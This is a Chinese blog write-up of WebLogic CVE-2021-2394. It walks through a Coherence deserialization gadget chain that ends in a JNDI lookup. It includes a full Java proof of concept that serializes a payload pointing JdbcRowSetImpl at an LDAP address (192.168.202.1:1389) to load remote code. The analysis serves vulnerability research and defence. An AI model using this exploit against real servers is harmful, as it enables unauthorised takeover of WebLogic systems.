weblogic漏洞分析之CVE-2021-2394

简介

Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

影响版本:

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

前置知识

为了更好的理解漏洞,我将介绍漏洞中涉及的每一个类的作用,再将所有类串起来形成调用链

ExternalizableLite接口

Coherence 组件中存在一个 com.tangosol.io.ExternalizableLite,它继承了 java.io.Serializable,另外声明了 readExternalwriteExternal 这两个方法。

ExternalizableHelper类

ExternalizableHelper类可以将实现上面ExternalizableLite接口的类进行序列化和反序列化操作,在反序列化操作中,会调用ExternalizableHelper#readObject

如上图,在ExternalizableHelper#readObject中,会调用readObjectInternal方法,此方法会根据要还原类的类型,选择对应的方法进行解析,对于实现 com.tangosol.io.ExternalizableLite 接口的对象,会进入到 readExternalizableLite 方法:

readExternalizableLite 方法中,会根据类名加载类,然后并且实例化出这个类的对象,然后调用它的 readExternal() 方法。

JdbcRowSetImpl类

此类中getDatabaseMetaData方法会调用this.connect

this.connect则调用了InitialContext#lookup,如果this.getDataSourceName()为恶意uri,则可以产生JNDI注入

MethodAttributeAccessor类

此类中有一个getAttributeValueFromObject方法,在getAttributeValueFromObject方法中,可以调用invoke来执行任意方法,前提是三个参数可控getMethod、anObject、parameters

AbstractExtractor类

此类的compare方法会调用this.extract

FilterExtractor类

此类是整个漏洞绕过上一个补丁的关键类,它实现了ExternalizableLite接口,并且父类是AbstractExtractor

在此类中有两个比较重要的方法,首先来看第一个extract方法,此方法会调用attributeAccessorgetAttributeValueFromObject方法

第二个是readExternal方法

此方法调用了SerializationHelper#readAttributeAccessor来从序列化数据中还原this.attributeAccessor的值

跟进readAttributeAccessor方法,可以看到是自己new了一个MethodAttributeAccessor对象,这里就是绕过补丁的关键

TopNAggregator$PartialResult类

TopNAggregator$PartialResult是一个静态内部类,也实现了ExternalizableLite接口,里面有个readExternal方法

readExternal方法中也是调用的ExternalizableHelper进行还原每一个元素,170行还原了m_comparator后,到172行调用了instantiateInternalMap方法并且传入了还原的m_comparator,跟进instantiateInternalMap

这里首先new了一个SortedBag.WrapperComparator,传入comparator,跟进WrapperComparator可以看到把comparator的值赋予给了this.f_comparator

之后把new出来的SortedBag.WrapperComparator对象传入了TreeMap构造方法,跟进TreeMap构造方法

TreeMap构造方法只是对comparator的一个赋值,把刚刚的SortedBag.WrapperComparator对象传递给了this.comparator

回到TopNAggregator$PartialResult类,最终的把TreeMap对象赋值给了this.m_map,接下来看176行的this.add

跟进add方法看到调用了父类的add

跟进其父类SortedBag类的add,在父类add方法中,调用了map.put,而这里的map就是上面的TreeMap对象

TreeMap类

TreeMap类中,其put方法会调用compare

compare中调用了comparator.compare,此处的comparator是在上个内部类中赋予的值SortedBag.WrapperComparator

SortedBag$WrapperComparator类

此类的compare方法会调用this.f_comparator.compare

AttributeHolder类

这个是整个漏洞的入口,在此类中实现了readExternal方法,在还原this.m_oValue值时候会调用ExternalizableHelper.readObject

漏洞分析

先上gadget:

AttributeHolder#readExternal
ExternalizableHelper#readObject
ExternalizableHelper#readExternalizableLite
TopNAggregator$PartialResult#readExternal
TopNAggregator$PartialResult#add
SortedBag#add
TreeMap#put
SortedBag$WrapperComparator#compare
FilterExtractor#compare
FilterExtractor#extract
MethodAttributeAccessor#getAttributeValueFromObject
Method.invoke
JdbcRowSetImpl#getDatabaseMetaData
InitialContext#lookup

POC用Timeline Sec团队的:

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor; import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method; public class test {
public static void main(String[] args) throws Exception {
String ldapurl="ldap://192.168.202.1:1389/2rp7lc"; MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("yangyang");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection"); Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
DeclaredConstructor.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance(); jdbcRowSet.setDataSourceName(ldapurl); FilterExtractor extractor = new FilterExtractor(accessor);
FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor()); SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
sortedBag.add(jdbcRowSet); Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor); AttributeHolder attributeHolder = new AttributeHolder(); Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag); //serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(attributeHolder);
objectOutputStream.close(); //unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
public static class TLSAttributeAccessor extends AttributeAccessor { public Object getAttributeValueFromObject(Object o) throws DescriptorException {
return this.attributeName;
} public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
this.attributeName = "yangyang";
}
}
}

objectIntputStream.readObject();处下断点

跟进到AttributeHolder#readExternal,这里使用了ExternalizableHelper从序列化数据中还原this.m_oValue

跟进ExternalizableHelper#readObject,调用了readObjectInternal

readObjectInternal中,判断nType的值,进入readExternalizableLite来处理

readExternalizableLite中,先实例化了TopNAggregator$PartialResult类,然后调用了它的readExternal方法

跟进到TopNAggregator$PartialResultreadExternal方法,开始依次还原几个变量,先看还原第一个m_comparator

跟进ExternalizableHelper#readObjectreadExternalizableLite方法,实例化出了FilterExtractor对象,调用其readExternal方法

跟进FilterExtractor#readExternal方法,发现调用了SerializationHelper.readAttributeAccessor方法来还原this.attributeAccessor的值

跟进SerializationHelper.readAttributeAccessor后,可以看到会 new 一个 MethodAttributeAccessor 对象,然后从 DataInput 中还原它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 属性,最后进行返回。

回到TopNAggregator$PartialResultreadExternal方法中,此时this.m_comparator已经变成了FilterExtractor对象

接着调用到172行的instantiateInternalMap方法,传入了this.m_comparator

instantiateInternalMap方法中,首先new了一个SortedBag.WrapperComparator,传入comparator,跟进WrapperComparator可以看到把comparator的值赋予给了this.f_comparator

之后把new出来的SortedBag.WrapperComparator对象传入了TreeMap构造方法,跟进TreeMap构造方法

TreeMap构造方法只是对comparator的一个赋值,把刚刚的SortedBag.WrapperComparator对象传递给了this.comparator

回到TopNAggregator$PartialResult类,最终的把TreeMap对象赋值给了this.m_map,接下来看176行的this.add

跟进add方法看到调用了父类的add,可以看到value的值已经变成了JdbcRowSetImpl

跟进其父类SortedBag类的add,在父类add方法中,调用了map.put,而这里的map就是上面的TreeMap对象

TreeMap类中,其put方法会调用compare,此时传入的key就是JdbcRowSetImpl对象

compare中调用了comparator.compare,此处的comparator是在上面TreeMap中赋予的SortedBag.WrapperComparator

接着进入SortedBag.WrapperComparator#compare中,可以看到调用了FilterExtractor#compare,其中o1、o2的值为JdbcRowSetImpl

跟进FilterExtractor#compare中,调用了this.extract

转到this.extract,调用了MethodAttributeAccessor#getAttributeValueFromObject

查看MethodAttributeAccessor#getAttributeValueFromObject

利用invoke调用了JdbcRowSetImpl#getDatabaseMetaData

最终进行了lookup,其this.getDataSourceName()就是我们输入的LDAP地址

弹出计算器

参考

https://xz.aliyun.com/t/10052#toc-12

https://github.com/lz2y/CVE-2021-2394

weblogic漏洞分析之CVE-2021-2394的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. weblogic之CVE-2018-3191漏洞分析

    weblogic之CVE-2018-3191漏洞分析 理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  5. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  6. [原创]K8Cscan插件之Weblogic漏洞扫描&amp;通用GetShell Exploit

    [原创]K8 Cscan 大型内网渗透自定义扫描器 https://www.cnblogs.com/k8gege/p/10519321.html Cscan简介:何为自定义扫描器?其实也是插件化,但C ...

  7. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  8. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  9. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  10. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

随机推荐

  1. 关于Fekit的安装与测试

    一. Fekit的安装 1.cmd输入指令 $ npm install fekit -g 2.初始化方法 $ fekit init 3.创建本地服务 $ fekit server 4.创建同时改端口( ...

  2. 孙鑫MFC学习笔记7:对话框编程(上)

    1.DoModal创建模态对话框 2.Create创建非模态对话框(需要用ShowWindow显示出来) 模态:对话框显示,程序会暂停,直到对话框关闭 非模态:对话框显示,程序继续执行 3.对于模态对 ...

  3. 架设WEBIM

    使用openfire+jwchat构建. Openfire 采用Java开发,开源的实时协作(RTC)服务器基于XMPP(Jabber)协议.Openfire安装和使用都非常简单,并利用Web进行管理 ...

  4. Bellman_Ford

    Source:http://www.cnblogs.com/Jason-Damon/archive/2012/04/21/2460850.html 摘自百度百科 Bellman-ford算法是求含负权 ...

  5. ros与下位机通信常用的c++ boost串口应用--22

    摘要: 原创博客:转载请表明出处:http://www.cnblogs.com/zxouxuewei/ 一.首先移植c++ boost 库: 1. 先去 Boost官网 下载最新的Boost版本, 我 ...

  6. HTML5画布(圆形)

    案例1: <!DOCTYPE html><html><head lang="en"> <meta charset="UTF-8& ...

  7. C++编程技术之 异常处理(上)

    增强错误恢复能力是提高代码健壮性的最有力途径之一 之所以平时编写代码的时候不愿意去写错误处理,主要是由于这项工作及其无聊并可能导致代码膨胀,导致的结果就是本来就比较复杂的程序变得更加复杂.当然了,前面 ...

  8. 玩转Bootstarp(连载)

    一.Bootstarp是什么? 简单.灵活的用于搭建WEB页面的HTML.CSS.JS的工具集 (基于HTML5和CSS3) 总结:简洁强大的前端开发框架,可以让WEB开发更迅速.更简单 二.如何使用 ...

  9. VM添加e1000e驱动网卡

    关闭虚拟机 打开VMware 虚拟机配置 (.vmx),如

  10. 自动生成CHANGELOG.md

    $ npm install -g conventional-changelog-cli $ cd my-project $ conventional-changelog -p angular -i C ...